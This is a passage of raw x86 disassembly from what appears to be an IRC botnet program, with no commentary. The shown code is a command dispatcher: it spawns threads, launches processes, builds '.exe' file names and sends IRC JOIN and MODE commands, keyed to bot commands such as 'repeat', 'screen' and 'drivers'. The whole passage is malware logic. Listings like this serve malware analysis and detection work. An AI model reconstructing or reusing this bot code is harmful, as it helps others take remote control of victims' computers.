mov [ebp+var_47C], eax
lea eax, [ebp+var_500]
mov [ebp+var_504], esi
push eax
call sub_4182F0
add esp, 14h
mov edi, [ebp+var_4]
mov eax, [ebp+var_8]
mov [ebp+var_46C], edi
push [ebp+var_47C]
mov [ebp+var_468], eax
push [ebp+var_480]
push [ebp+var_474]
call dword_441444 ; inet_ntoa
push eax
lea eax, [ebp+var_2DC]
push offset unk_4368C4
push eax
call sub_4173AC
push ebx
lea eax, [ebp+var_2DC]
push 8
push eax
call sub_416E58
add esp, 20h
mov [ebp+var_478], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_504]
push ebx
push eax
push offset dword_416410
push ebx
push ebx
nop
call near ptr 7C810637h
mov ecx, [ebp+var_478]
imul ecx, 234h
cmp eax, ebx
mov dword_446E24[ecx], eax
jz short loc_412E1B
loc_412E05: ; CODE XREF: sub_40F6F1+3728j
cmp [ebp+var_464], ebx
jnz loc_412F2C
push 32h
nop
call near ptr 7C802442h
jmp short loc_412E05
; ---------------------------------------------------------------------------
loc_412E1B: ; CODE XREF: sub_40F6F1+3712j
nop
call near ptr 7C910331h
push eax
push offset unk_436878
jmp loc_412F1D
; ---------------------------------------------------------------------------
loc_412E2C: ; CODE XREF: sub_40F6F1+27E8j
; sub_40F6F1+27FFj
push edi
call sub_41791F
push 7Fh
mov [ebp+var_314], eax
push [ebp+arg_18]
lea eax, [ebp+var_418]
push eax
call sub_4182F0
push [ebp+arg_0]
call sub_41791F
push [ebp+var_8C]
mov esi, [ebp+arg_4]
mov [ebp+var_318], eax
lea eax, [ebp+var_398]
push 80h
push eax
mov [ebp+var_420], esi
call sub_41792A
mov eax, [ebp+var_8]
add esp, 20h
mov edi, [ebp+var_4]
mov [ebp+var_304], eax
push [ebp+var_318]
lea eax, [ebp+var_418]
mov [ebp+var_308], edi
push eax
push [ebp+var_314]
push esi
call sub_40AFAB
pop ecx
push eax
lea eax, [ebp+var_2DC]
push offset unk_43682C
push eax
call sub_4173AC
push ebx
lea eax, [ebp+var_2DC]
push 10h
push eax
call sub_416E58
add esp, 24h
mov [ebp+var_310], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_420]
push ebx
push eax
push offset sub_407B45
push ebx
push ebx
nop
call near ptr 7C810637h
mov ecx, [ebp+var_310]
imul ecx, 234h
cmp eax, ebx
mov dword_446E24[ecx], eax
jz short loc_412F11
loc_412EFF: ; CODE XREF: sub_40F6F1+381Ej
cmp [ebp+var_300], ebx
jnz short loc_412F2C
push 32h
nop
call near ptr 7C802442h
jmp short loc_412EFF
; ---------------------------------------------------------------------------
loc_412F11: ; CODE XREF: sub_40F6F1+380Cj
nop
call near ptr 7C910331h
push eax
push offset unk_4367D8
loc_412F1D: ; CODE XREF: sub_40F6F1+3736j
lea eax, [ebp+var_2DC]
push eax
call sub_4173AC
add esp, 0Ch
loc_412F2C: ; CODE XREF: sub_40F6F1+371Aj
; sub_40F6F1+3814j
cmp [ebp+var_8], ebx
jnz loc_4157D0
push ebx
push edi
jmp loc_4127E0
; ---------------------------------------------------------------------------
loc_412F3C: ; CODE XREF: sub_40F6F1+27BAj
; sub_40F6F1+27D1j
push 0FFh
lea eax, [ebp+var_780]
push edi
push eax
call sub_4182F0
loc_412F4E: ; DATA XREF: ___:off_42D544o
push 0FFh
lea eax, [ebp+var_680]
push [ebp+arg_18]
push eax
call sub_4182F0
push [ebp+arg_0]
mov [ebp+var_57C], ebx
call sub_41791F
mov [ebp+var_578], eax
mov eax, [ebp+esi+var_84]
add esp, 1Ch
cmp eax, ebx
jz short loc_412F98
push 10h
push ebx
push eax
call sub_417FB5
add esp, 0Ch
mov [ebp+var_570], eax
jmp short loc_412F9E
; ---------------------------------------------------------------------------
loc_412F98: ; CODE XREF: sub_40F6F1+3891j
mov [ebp+var_570], ebx
loc_412F9E: ; CODE XREF: sub_40F6F1+38A5j
mov esi, [ebp+esi+var_80]
cmp esi, ebx
jz short loc_412FB5
push esi
call sub_41791F
pop ecx
mov [ebp+var_574], eax
jmp short loc_412FBB
; ---------------------------------------------------------------------------
loc_412FB5: ; CODE XREF: sub_40F6F1+38B3j
mov [ebp+var_574], ebx
loc_412FBB: ; CODE XREF: sub_40F6F1+38C2j
movzx eax, [ebp+var_9C3]
mov esi, [ebp+arg_4]
push 7Fh
push [ebp+var_8C]
mov [ebp+var_56C], eax
lea eax, [ebp+var_800]
mov [ebp+var_804], esi
push eax
call sub_4182F0
mov eax, [ebp+var_4]
push [ebp+arg_18]
mov [ebp+var_564], eax
mov eax, [ebp+var_8]
mov [ebp+var_568], eax
push edi
lea eax, [ebp+var_2DC]
push offset unk_43679C
push eax
call sub_4173AC
push esi
lea eax, [ebp+var_2DC]
push 16h
push eax
call sub_416E58
add esp, 28h
mov [ebp+var_580], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_804]
push ebx
push eax
push offset sub_40D091
push ebx
push ebx
nop
call near ptr 7C810637h
mov ecx, [ebp+var_580]
imul ecx, 234h
cmp eax, ebx
mov dword_446E24[ecx], eax
jz short loc_413069
loc_413053: ; CODE XREF: sub_40F6F1+3976j
cmp [ebp+var_560], ebx
jnz loc_4127D3
push 32h
nop
call near ptr 7C802442h
jmp short loc_413053
; ---------------------------------------------------------------------------
loc_413069: ; CODE XREF: sub_40F6F1+3960j
nop
call near ptr 7C910331h
push eax
push offset unk_43674C
jmp loc_4127C4
; ---------------------------------------------------------------------------
loc_41307A: ; CODE XREF: sub_40F6F1+278Cj
; sub_40F6F1+27A3j
push 7Fh
lea eax, [ebp+var_76C]
pop esi
push esi
push edi
push eax
call sub_4182F0
push esi
lea eax, [ebp+var_6EC]
push [ebp+arg_18]
push eax
call sub_4182F0
push esi
lea eax, [ebp+var_66C]
push [ebp+arg_0]
push eax
call sub_4182F0
push esi
lea eax, [ebp+var_5EC]
push [ebp+var_8C]
push eax
call sub_4182F0
mov eax, [ebp+var_4]
push [ebp+arg_0]
mov esi, [ebp+arg_4]
mov [ebp+var_568], eax
mov eax, [ebp+var_8]
push [ebp+arg_18]
mov [ebp+var_564], eax
lea eax, [ebp+var_2DC]
push edi
push offset dword_436710
push eax
mov [ebp+var_770], esi
call sub_4173AC
add esp, 44h
lea eax, [ebp+var_2DC]
push ebx
push 0Bh
push eax
call sub_416E58
add esp, 0Ch
mov [ebp+var_56C], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_770]
push ebx
push eax
push offset sub_4019D1
push ebx
push ebx
nop
call near ptr 7C810637h
mov ecx, [ebp+var_56C]
imul ecx, 234h
cmp eax, ebx
mov dword_446E24[ecx], eax
jz short loc_413151
loc_41313B: ; CODE XREF: sub_40F6F1+3A5Ej
cmp [ebp+var_560], ebx
jnz loc_4127D3
push 32h
nop
call near ptr 7C802442h
jmp short loc_41313B
; ---------------------------------------------------------------------------
loc_413151: ; CODE XREF: sub_40F6F1+3A48j
nop
call near ptr 7C910331h
push eax
push offset dword_4366C8
jmp loc_4127C4
; ---------------------------------------------------------------------------
loc_413162: ; CODE XREF: sub_40F6F1+2747j
; sub_40F6F1+275Ej ...
push 7Fh
lea eax, [ebp+var_7E8]
pop esi
push esi
push edi
push eax
call sub_4182F0
push esi
lea eax, [ebp+var_768]
push [ebp+arg_18]
push eax
call sub_4182F0
push esi
lea eax, [ebp+var_6E8]
push [ebp+arg_0]
push eax
call sub_4182F0
push esi
lea eax, [ebp+var_668]
push [ebp+var_8C]
push eax
call sub_4182F0
push 20h
lea eax, [ebp+var_5E8]
push [ebp+arg_8]
push eax
call sub_4182F0
mov eax, [ebp+var_4]
push [ebp+arg_0]
mov esi, [ebp+arg_4]
mov [ebp+var_568], eax
mov eax, [ebp+var_8]
push [ebp+arg_18]
mov [ebp+var_564], eax
lea eax, [ebp+var_2DC]
push edi
push offset unk_436688
push eax
mov [ebp+var_7F0], esi
call sub_4173AC
add esp, 50h
lea eax, [ebp+var_2DC]
push ebx
push 0Ah
push eax
call sub_416E58
add esp, 0Ch
mov [ebp+var_7EC], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_7F0]
push ebx
push eax
push offset sub_401000
push ebx
push ebx
nop
call near ptr 7C810637h
mov ecx, [ebp+var_7EC]
imul ecx, 234h
cmp eax, ebx
mov dword_446E24[ecx], eax
jz short loc_41324A
loc_413234: ; CODE XREF: sub_40F6F1+3B57j
cmp [ebp+var_560], ebx
jnz loc_4127D3
push 32h
nop
call near ptr 7C802442h
jmp short loc_413234
; ---------------------------------------------------------------------------
loc_41324A: ; CODE XREF: sub_40F6F1+3B41j
nop
call near ptr 7C910331h
push eax
push offset unk_436640
jmp loc_4127C4
; ---------------------------------------------------------------------------
loc_41325B: ; CODE XREF: sub_40F6F1+2719j
; sub_40F6F1+2730j
push 7Fh
lea eax, [ebp+var_458]
push edi
push eax
call sub_4182F0
push [ebp+arg_18]
call sub_41791F
push 3Fh
mov [ebp+var_308], eax
push [ebp+arg_0]
lea eax, [ebp+var_3D8]
push eax
call sub_4182F0
mov esi, [ebp+esi+var_84]
add esp, 1Ch
cmp esi, ebx
jz short loc_4132A9
push 3Fh
lea eax, [ebp+var_398]
push esi
push eax
call sub_4182F0
add esp, 0Ch
loc_4132A9: ; CODE XREF: sub_40F6F1+3BA4j
lea eax, [ebp+var_3D8]
mov [ebp+var_304], 1
push eax
lea eax, [ebp+var_458]
push [ebp+var_308]
push eax
lea eax, [ebp+var_2DC]
push offset unk_436600
push eax
call sub_4173AC
push ebx
lea eax, [ebp+var_2DC]
push 18h
push eax
call sub_416E58
add esp, 20h
mov [ebp+var_300], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_45C]
push ebx
push eax
push offset sub_40F326
push ebx
push ebx
nop
call near ptr 7C810637h
mov ecx, [ebp+var_300]
imul ecx, 234h
cmp eax, ebx
mov dword_446E24[ecx], eax
jz short loc_413335
loc_41331F: ; CODE XREF: sub_40F6F1+3C42j
cmp [ebp+var_2FC], ebx
jnz loc_41455C
push 32h
nop
call near ptr 7C802442h
jmp short loc_41331F
; ---------------------------------------------------------------------------
loc_413335: ; CODE XREF: sub_40F6F1+3C2Cj
nop
call near ptr 7C910331h
push eax
push offset unk_4365B8
jmp loc_4121DF
; ---------------------------------------------------------------------------
loc_413346: ; CODE XREF: sub_40F6F1+26D9j
; sub_40F6F1+26F0j
push [ebp+arg_18]
call sub_41791F
cmp eax, ebx
pop ecx
mov [ebp+var_570], eax
jle loc_413437
mov esi, 80h
push edi
lea eax, [ebp+var_6F8]
push esi
push eax
call sub_41792A
xor eax, eax
cmp [ebp+var_9B6], bl
push [ebp+var_8C]
setnz al
mov [ebp+var_56C], eax
mov eax, [ebp+arg_4]
mov [ebp+var_6FC], eax
lea eax, [ebp+var_5F8]
push esi
push eax
call sub_41792A
mov eax, [ebp+var_4]
push [ebp+arg_18]
mov [ebp+var_568], eax
mov eax, [ebp+var_8]
mov [ebp+var_564], eax
push edi
push offset unk_43657C
lea eax, [ebp+var_2DC]
push 200h
push eax
call sub_41792A
push ebx
lea eax, [ebp+var_2DC]
push 0Dh
push eax
call sub_416E58
add esp, 38h
mov [ebp+var_578], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_6FC]
push ebx
push eax
push offset sub_401447
push ebx
push ebx
nop
call near ptr 7C810637h
mov ecx, [ebp+var_578]
imul ecx, 234h
cmp eax, ebx
mov dword_446E24[ecx], eax
jz short loc_413426
loc_413410: ; CODE XREF: sub_40F6F1+3D33j
cmp [ebp+var_560], ebx
jnz loc_412267
push 32h
nop
call near ptr 7C802442h
jmp short loc_413410
; ---------------------------------------------------------------------------
loc_413426: ; CODE XREF: sub_40F6F1+3D1Dj
nop
call near ptr 7C910331h
push eax
push offset unk_436534
jmp loc_412258
; ---------------------------------------------------------------------------
loc_413437: ; CODE XREF: sub_40F6F1+3C66j
push offset unk_4364EC
jmp loc_412573
; ---------------------------------------------------------------------------
loc_413441: ; CODE XREF: sub_40F6F1+26ABj
; sub_40F6F1+26C2j
push [ebp+arg_18]
push edi
nop
call near ptr 7C835E8Fh
test eax, eax
jz short loc_413471
push [ebp+arg_18]
lea eax, [ebp+var_2DC]
push edi
push offset unk_4364B8
push 200h
push eax
call sub_41792A
loc_413469: ; CODE XREF: sub_40F6F1+4598j
add esp, 14h
jmp loc_412267
; ---------------------------------------------------------------------------
loc_413471: ; CODE XREF: sub_40F6F1+3D5Cj
push offset dword_43649C
call sub_40A9AA
push eax
lea eax, [ebp+var_2DC]
push 200h
push eax
call sub_41792A
add esp, 10h
jmp loc_412267
; ---------------------------------------------------------------------------
loc_413495: ; CODE XREF: sub_40F6F1+267Dj
; sub_40F6F1+2694j
push edi
lea eax, [ebp+var_774]
push 104h
push eax
call sub_41792A
add esp, 0Ch
cmp [ebp+var_C], ebx
jz short loc_4134CF
push [ebp+arg_18]
push [ebp+var_C]
call sub_417980
pop ecx
cmp eax, ebx
pop ecx
jz short loc_4134CF
push eax
lea eax, [ebp+var_670]
push eax
call sub_4173AC
pop ecx
pop ecx
loc_4134CF: ; CODE XREF: sub_40F6F1+3DBCj
; sub_40F6F1+3DCDj
push [ebp+var_8C]
lea eax, [ebp+var_7F4]
push 80h
push eax
call sub_41792A
mov eax, [ebp+arg_4]
mov [ebp+var_7F8], eax
mov eax, [ebp+var_4]
mov [ebp+var_568], eax
mov eax, [ebp+var_8]
mov [ebp+var_564], eax
lea eax, [ebp+var_670]
push eax
lea eax, [ebp+var_774]
push eax
push offset unk_43645C
lea eax, [ebp+var_2DC]
push 200h
push eax
call sub_41792A
push ebx
lea eax, [ebp+var_2DC]
push 1Ch
push eax
call sub_416E58
add esp, 2Ch
mov [ebp+var_56C], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_7F8]
push ebx
push eax
push offset sub_408D42
push ebx
push ebx
nop
call near ptr 7C810637h
mov ecx, [ebp+var_56C]
imul ecx, 234h
cmp eax, ebx
mov dword_446E24[ecx], eax
jz short loc_413582
loc_41356C: ; CODE XREF: sub_40F6F1+3E8Fj
cmp [ebp+var_560], ebx
jnz loc_4157D0
push 32h
nop
call near ptr 7C802442h
jmp short loc_41356C
; ---------------------------------------------------------------------------
loc_413582: ; CODE XREF: sub_40F6F1+3E79j
nop
call near ptr 7C910331h
push eax
push offset unk_436410
jmp loc_4157C1
; ---------------------------------------------------------------------------
loc_413593: ; CODE XREF: sub_40F6F1+264Fj
; sub_40F6F1+2666j
push 44h
lea eax, [ebp+var_4A0]
pop esi
push esi
push ebx
push eax
call sub_417430
push 1
mov [ebp+var_4A0], esi
pop esi
mov word ptr [ebp+var_470], bx
push edi
mov [ebp+var_474], esi
call sub_41791F
add esp, 10h
cmp eax, esi
jnz short loc_4135D0
mov word ptr [ebp+var_470], 5
loc_4135D0: ; CODE XREF: sub_40F6F1+3ED4j
cmp [ebp+var_C], ebx
jz loc_41455C
push [ebp+arg_18]
push [ebp+var_C]
call sub_417980
mov edi, eax
pop ecx
cmp edi, ebx
pop ecx
jz loc_41455C
lea eax, [ebp+var_2EC]
push eax
lea eax, [ebp+var_4A0]
push eax
push ebx
push ebx
push 28h
push esi
push ebx
push ebx
push edi
push ebx
nop
call near ptr 7C802367h
test eax, eax
jnz short loc_41361B
push offset unk_4363DC
jmp loc_41454E
; ---------------------------------------------------------------------------
loc_41361B: ; CODE XREF: sub_40F6F1+3F1Ej
push edi
push offset dword_4363B4
jmp loc_4121DF
; ---------------------------------------------------------------------------
loc_413626: ; CODE XREF: sub_40F6F1+2621j
; sub_40F6F1+2638j
push [ebp+arg_18]
push offset aArra ; "arra"
call sub_4177D0
pop ecx
test eax, eax
pop ecx
jz loc_41379D
lea eax, [ebp+var_3FC]
push eax
push 104h
nop
call near ptr 7C835DCAh
push 0FFh
lea eax, [ebp+var_780]
push edi
push eax
call sub_4182F0
lea eax, [ebp+var_2F8]
push eax
push [ebp+arg_4]
call sub_415F85
push eax
lea eax, [ebp+var_3FC]
push eax
lea eax, [ebp+var_680]
push offset aSS_exe ; "%s%s.exe"
push eax
call sub_4173AC
mov eax, [ebp+esi+var_88]
add esp, 24h
cmp eax, ebx
mov [ebp+var_57C], 1
mov [ebp+var_578], ebx
jz short loc_4136BB
push 10h
push ebx
push eax
call sub_417FB5
add esp, 0Ch
mov [ebp+var_570], eax
jmp short loc_4136C1
; ---------------------------------------------------------------------------
loc_4136BB: ; CODE XREF: sub_40F6F1+3FB4j
mov [ebp+var_570], ebx
loc_4136C1: ; CODE XREF: sub_40F6F1+3FC8j
mov esi, [ebp+esi+var_84]
cmp esi, ebx
jz short loc_4136DB
push esi
call sub_41791F
pop ecx
mov [ebp+var_574], eax
jmp short loc_4136E1
; ---------------------------------------------------------------------------
loc_4136DB: ; CODE XREF: sub_40F6F1+3FD9j
mov [ebp+var_574], ebx
loc_4136E1: ; CODE XREF: sub_40F6F1+3FE8j
movzx eax, [ebp+var_9C3]
mov esi, [ebp+arg_4]
push 7Fh
push [ebp+var_8C]
mov [ebp+var_56C], eax
lea eax, [ebp+var_800]
mov [ebp+var_804], esi
push eax
call sub_4182F0
mov eax, [ebp+var_4]
push edi
mov [ebp+var_564], eax
mov eax, [ebp+var_8]
mov [ebp+var_568], eax
lea eax, [ebp+var_2DC]
push offset unk_43636C
push eax
call sub_4173AC
push esi
lea eax, [ebp+var_2DC]
push 17h
push eax
call sub_416E58
add esp, 24h
mov [ebp+var_580], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_804]
push ebx
push eax
push offset sub_40D091
push ebx
push ebx
nop
call near ptr 7C810637h
mov ecx, [ebp+var_580]
imul ecx, 234h
cmp eax, ebx
mov dword_446E24[ecx], eax
jz short loc_41378C
loc_413776: ; CODE XREF: sub_40F6F1+4099j
cmp [ebp+var_560], ebx
jnz loc_41455C
push 32h
nop
call near ptr 7C802442h
jmp short loc_413776
; ---------------------------------------------------------------------------
loc_41378C: ; CODE XREF: sub_40F6F1+4083j
nop
call near ptr 7C910331h
push eax
push offset unk_436320
jmp loc_4121DF
; ---------------------------------------------------------------------------
loc_41379D: ; CODE XREF: sub_40F6F1+3F46j
push offset unk_4362CC
jmp loc_41454E
; ---------------------------------------------------------------------------
loc_4137A7: ; CODE XREF: sub_40F6F1+25F3j
; sub_40F6F1+260Aj
push [ebp+var_90]
push offset dword_438134
call sub_4177D0
pop ecx
test eax, eax
pop ecx
jz loc_40FAB8
cmp [ebp+var_C], ebx
jz loc_40FAB8
push [ebp+arg_18]
push [ebp+var_C]
call sub_417980
push eax
lea eax, [ebp+var_2DC]
push [ebp+var_8C]
push [ebp+var_90]
push [ebp+var_94]
push offset dword_4362BC
push eax
call sub_4173AC
lea eax, [ebp+var_2DC]
push 1FFh
push eax
push [ebp+arg_0]
call sub_4182F0
push edi
call sub_41791F
add esp, 30h
test eax, eax
jle short loc_41382E
push edi
call sub_41791F
imul eax, 3E8h
pop ecx
push eax
nop
call near ptr 7C802442h
loc_41382E: ; CODE XREF: sub_40F6F1+4127j
push offset dword_436298
call sub_40C4F7
mov eax, [ebp+arg_24]
pop ecx
inc eax
jmp loc_40FABB
; ---------------------------------------------------------------------------
loc_413842: ; CODE XREF: sub_40F6F1+25C5j
; sub_40F6F1+25DCj
push [ebp+var_90]
push offset dword_438134
call sub_4177D0
pop ecx
test eax, eax
pop ecx
jz loc_40FAB8
cmp [ebp+var_C], ebx
jz loc_415956
push [ebp+arg_18]
push [ebp+var_C]
call sub_417980
mov esi, eax
mov eax, [ebp+arg_18]
inc eax
push offset aRepeat ; "repeat"
push eax
call sub_4177D0
add esp, 10h
test eax, eax
push esi
jz short loc_4138FE
push [ebp+var_8C]
lea eax, [ebp+var_2DC]
push [ebp+var_90]
push [ebp+var_94]
push offset dword_4362BC
push eax
call sub_4173AC
lea eax, [ebp+var_2DC]
push 1FFh
push eax
push [ebp+arg_0]
call sub_4182F0
push esi
lea eax, [ebp+var_2DC]
push offset dword_436268
push eax
call sub_4173AC
lea eax, [ebp+var_2DC]
push eax
call sub_40C4F7
push edi
call sub_41791F
add esp, 38h
test eax, eax
jle loc_415956
push edi
call sub_41791F
add eax, [ebp+arg_24]
pop ecx
jmp loc_40FABB
; ---------------------------------------------------------------------------
loc_4138FE: ; CODE XREF: sub_40F6F1+4196j
push offset dword_436224
jmp loc_4121DF
; ---------------------------------------------------------------------------
loc_413908: ; CODE XREF: sub_40F6F1+2597j
; sub_40F6F1+25AEj
push [ebp+arg_18]
lea eax, [ebp+var_2DC]
push offset dword_43621C
push eax
call sub_4173AC
push edi
call sub_41791F
add esp, 10h
loc_413925: ; CODE XREF: sub_40F6F1+429Ej
test eax, eax
jle loc_415956
push edi
call sub_41791F
cmp eax, 5DCh
pop ecx
jge loc_415956
loc_41393F: ; CODE XREF: sub_40F6F1+4F51j
lea eax, [ebp+var_2DC]
push eax
push offset dword_425A78
push edi
call sub_41791F
imul eax, 234h
pop ecx
push dword_446E1C[eax]
call sub_40DBCA
loc_413963: ; CODE XREF: sub_40F6F1+5E7Cj
add esp, 0Ch
jmp loc_415956
; ---------------------------------------------------------------------------
loc_41396B: ; CODE XREF: sub_40F6F1+2569j
; sub_40F6F1+2580j
push [ebp+esi+var_88]
lea eax, [ebp+var_2DC]
push [ebp+arg_18]
push offset dword_436210
push eax
call sub_4173AC
push edi
call sub_41791F
add esp, 14h
jmp short loc_413925
; ---------------------------------------------------------------------------
loc_413991: ; CODE XREF: sub_40F6F1+253Bj
; sub_40F6F1+2552j
push [ebp+arg_18]
lea eax, [ebp+var_2DC]
push offset dword_436208
push eax
call sub_4173AC
push edi
call sub_41791F
add esp, 10h
test eax, eax
jle loc_415956
push edi
call sub_41791F
cmp eax, 5DCh
pop ecx
jge loc_415956
lea eax, [ebp+var_2DC]
push eax
push offset dword_425A78
push edi
call sub_41791F
imul eax, 234h
pop ecx
push dword_446E1C[eax]
call sub_40DBCA
push [ebp+arg_18]
push edi
push offset dword_4361DC
loc_4139F5: ; CODE XREF: sub_40F6F1+438Ej
; sub_40F6F1+43F9j ...
call sub_40C56B
loc_4139FA: ; CODE XREF: sub_40F6F1+5B64j
add esp, 18h
jmp loc_415956
; ---------------------------------------------------------------------------
loc_413A02: ; CODE XREF: sub_40F6F1+250Dj
; sub_40F6F1+2524j
cmp [ebp+var_C], ebx
jz loc_415956
push [ebp+arg_18]
push [ebp+var_C]
call sub_417980
mov esi, eax
pop ecx
cmp esi, ebx
pop ecx
jz short loc_413A33
push esi
lea eax, [ebp+var_2DC]
push offset dword_4361D4
push eax
call sub_4173AC
add esp, 0Ch
loc_413A33: ; CODE XREF: sub_40F6F1+432Bj
push edi
call sub_41791F
test eax, eax
pop ecx
jle loc_415956
push edi
call sub_41791F
cmp eax, 5DCh
pop ecx
jge loc_415956
lea eax, [ebp+var_2DC]
push eax
push offset dword_425A78
push edi
call sub_41791F
imul eax, 234h
pop ecx
push dword_446E1C[eax]
call sub_40DBCA
push esi
push edi
push offset dword_4361A8
jmp loc_4139F5
; ---------------------------------------------------------------------------
loc_413A84: ; CODE XREF: sub_40F6F1+24DFj
; sub_40F6F1+24F6j
cmp [ebp+var_C], ebx
jz loc_415956
push [ebp+arg_18]
push [ebp+var_C]
call sub_417980
mov esi, eax
pop ecx
cmp esi, ebx
pop ecx
jz loc_415956
push edi
call sub_41791F
test eax, eax
pop ecx
jle loc_415956
push edi
call sub_41791F
cmp eax, 5DCh
pop ecx
jge loc_415956
push esi
push offset dword_425A78
push edi
call sub_41791F
imul eax, 234h
pop ecx
push dword_446E1C[eax]
call sub_40DBCA
push esi
push edi
push offset dword_43617C
jmp loc_4139F5
; ---------------------------------------------------------------------------
loc_413AEF: ; CODE XREF: sub_40F6F1+24B1j
; sub_40F6F1+24C8j
cmp [ebp+var_C], ebx
jz loc_415956
push edi
push [ebp+var_C]
call sub_417980
mov esi, eax
pop ecx
cmp esi, ebx
pop ecx
jz loc_415956
push esi
push offset aModeS ; "MODE %s\r\n"
push [ebp+arg_4]
call sub_40DBCA
push esi
push offset dword_436144
loc_413B21: ; CODE XREF: sub_40F6F1+50F6j
; sub_40F6F1+510Fj ...
call sub_40C56B
loc_413B26: ; CODE XREF: sub_40F6F1+449Ej
add esp, 14h
jmp loc_415956
; ---------------------------------------------------------------------------
loc_413B2E: ; CODE XREF: sub_40F6F1+2483j
; sub_40F6F1+249Aj
push [ebp+var_90]
push offset dword_438134
call sub_4177D0
pop ecx
test eax, eax
pop ecx
jz loc_40FAB8
push [ebp+arg_18]
push offset dword_436138
push [ebp+arg_4]
call sub_40DBCA
push edi
call sub_41791F
imul eax, 3E8h
add esp, 10h
push eax
nop
call near ptr 7C802442h
push [ebp+esi+var_88]
push [ebp+arg_18]
push offset aJoinSS ; "JOIN %s %s\r\n"
push [ebp+arg_4]
call sub_40DBCA
push offset dword_436114
call sub_40C4F7
jmp short loc_413B26
; ---------------------------------------------------------------------------
loc_413B91: ; CODE XREF: sub_40F6F1+2455j
; sub_40F6F1+246Cj
cmp [ebp+var_C], ebx
jz loc_415956
push edi
call sub_417AF0
push [ebp+arg_8]
mov esi, eax
call sub_417AF0
add eax, [ebp+var_C]
push [ebp+arg_18]
lea eax, [eax+esi+2]
push eax
call sub_417980
mov esi, eax
add esp, 10h
cmp esi, ebx
jz loc_415956
push esi
lea eax, [ebp+var_2DC]
push offset dword_436930
push eax
call sub_4173AC
push ebx
lea eax, [ebp+var_2DC]
push ebx
push eax
push edi
push [ebp+arg_4]
call sub_40DC10
push esi
push edi
push offset dword_4360E8
call sub_40C56B
add esp, 2Ch
jmp loc_415956
; ---------------------------------------------------------------------------
loc_413BFF: ; CODE XREF: sub_40F6F1+2427j
; sub_40F6F1+243Ej
cmp [ebp+var_C], ebx
jz loc_415956
push edi
call sub_417AF0
push [ebp+arg_8]
mov esi, eax
call sub_417AF0
add eax, [ebp+var_C]
push [ebp+arg_18]
lea eax, [eax+esi+2]
push eax
call sub_417980
mov esi, eax
add esp, 10h
cmp esi, ebx
jz loc_415956
push ebx
push ebx
push esi
push edi
push [ebp+arg_4]
call sub_40DC10
push esi
push edi
push offset dword_4360BC
call sub_40C56B
jmp loc_41283E
; ---------------------------------------------------------------------------
loc_413C52: ; CODE XREF: sub_40F6F1+23F9j
; sub_40F6F1+2410j
cmp [ebp+var_C], ebx
jz loc_40FAB8
push [ebp+arg_18]
push [ebp+var_C]
call sub_417980
pop ecx
cmp eax, ebx
pop ecx
jz loc_40FAB8
push eax
push edi
call sub_40C3FF
push edi
lea eax, [ebp+var_2DC]
push offset dword_436090
push eax
call sub_4173AC
jmp loc_413469
; ---------------------------------------------------------------------------
loc_413C8E: ; CODE XREF: sub_40F6F1+23B9j
; sub_40F6F1+23D0j
push edi
push [ebp+arg_1C]
call sub_417980
pop ecx
test eax, eax
pop ecx
jz loc_415956
mov esi, [ebp+esi+var_8C]
cmp esi, ebx
jz short loc_413D2B
push esi
push [ebp+var_C]
call sub_417980
mov esi, eax
pop ecx
cmp esi, ebx
pop ecx
jz short loc_413D13
push esi
lea eax, [ebp+var_2DC]
push [ebp+var_8C]
push [ebp+var_90]
push [ebp+var_94]
push offset dword_4362BC
push eax
call sub_4173AC
lea eax, [ebp+var_2DC]
push 1FFh
push eax
push [ebp+arg_0]
call sub_4182F0
push esi
push edi
lea eax, [ebp+var_2DC]
push offset dword_43605C
push eax
call sub_4173AC
add esp, 34h
inc [ebp+arg_24]
jmp loc_41545E
; ---------------------------------------------------------------------------
loc_413D13: ; CODE XREF: sub_40F6F1+45CAj
lea eax, [ebp+var_2DC]
push offset dword_43601C
push eax
call sub_4173AC
pop ecx
pop ecx
jmp loc_41545E
; ---------------------------------------------------------------------------
loc_413D2B: ; CODE XREF: sub_40F6F1+45B9j
push ebx
lea eax, [ebp+var_2DC]
push [ebp+var_4]
push [ebp+arg_4]
push [ebp+arg_1C]
push eax
call sub_40C061
add esp, 0Ch
push eax
push [ebp+var_8C]
push [ebp+arg_4]
call sub_40DC10
push edi
push offset dword_435FF4
lea eax, [ebp+var_2DC]
push 200h
push eax
call sub_41792A
add esp, 24h
jmp loc_41545E
; ---------------------------------------------------------------------------
loc_413D72: ; CODE XREF: sub_40F6F1+238Bj
; sub_40F6F1+23A2j
push offset aScreen ; "screen"
push edi
call sub_4177D0
pop ecx
test eax, eax
pop ecx
jnz short loc_413DD5
cmp [ebp+esi+var_8C], ebx
jz short loc_413DC2
push [ebp+esi+var_8C]
call sub_40851A
cmp eax, 1
pop ecx
jnz short loc_413DBB
push [ebp+esi+var_8C]
lea eax, [ebp+var_2DC]
push offset dword_435FB0
push eax
call sub_4173AC
add esp, 0Ch
jmp short loc_413DD5
; ---------------------------------------------------------------------------
loc_413DBB: ; CODE XREF: sub_40F6F1+46ABj
push offset dword_435F74
jmp short loc_413DC7
; ---------------------------------------------------------------------------
loc_413DC2: ; CODE XREF: sub_40F6F1+4699j
push offset dword_435F2C
loc_413DC7: ; CODE XREF: sub_40F6F1+46CFj
lea eax, [ebp+var_2DC]
push eax
call sub_4173AC
pop ecx
pop ecx
loc_413DD5: ; CODE XREF: sub_40F6F1+4690j
; sub_40F6F1+46C8j
push offset aDrivers ; "drivers"
push edi
call sub_4177D0
pop ecx
test eax, eax
pop ecx
jnz loc_413E6C
mov [ebp+arg_0], ebx
loc_413DED: ; CODE XREF: sub_40F6F1+4766j
lea eax, [ebp+var_75C]
push 1FFh
push eax
lea eax, [ebp+var_3F8]
push 0FFh
push eax
push [ebp+arg_0]
call dword_4413E8
test eax, eax
jz short loc_413E50
lea eax, [ebp+var_75C]
push eax
lea eax, [ebp+var_3F8]
push eax
lea eax, [ebp+var_15B0]
push [ebp+arg_0]
push offset dword_435EF0
push eax
call sub_4173AC
push ebx
lea eax, [ebp+var_15B0]
push [ebp+var_4]
push eax
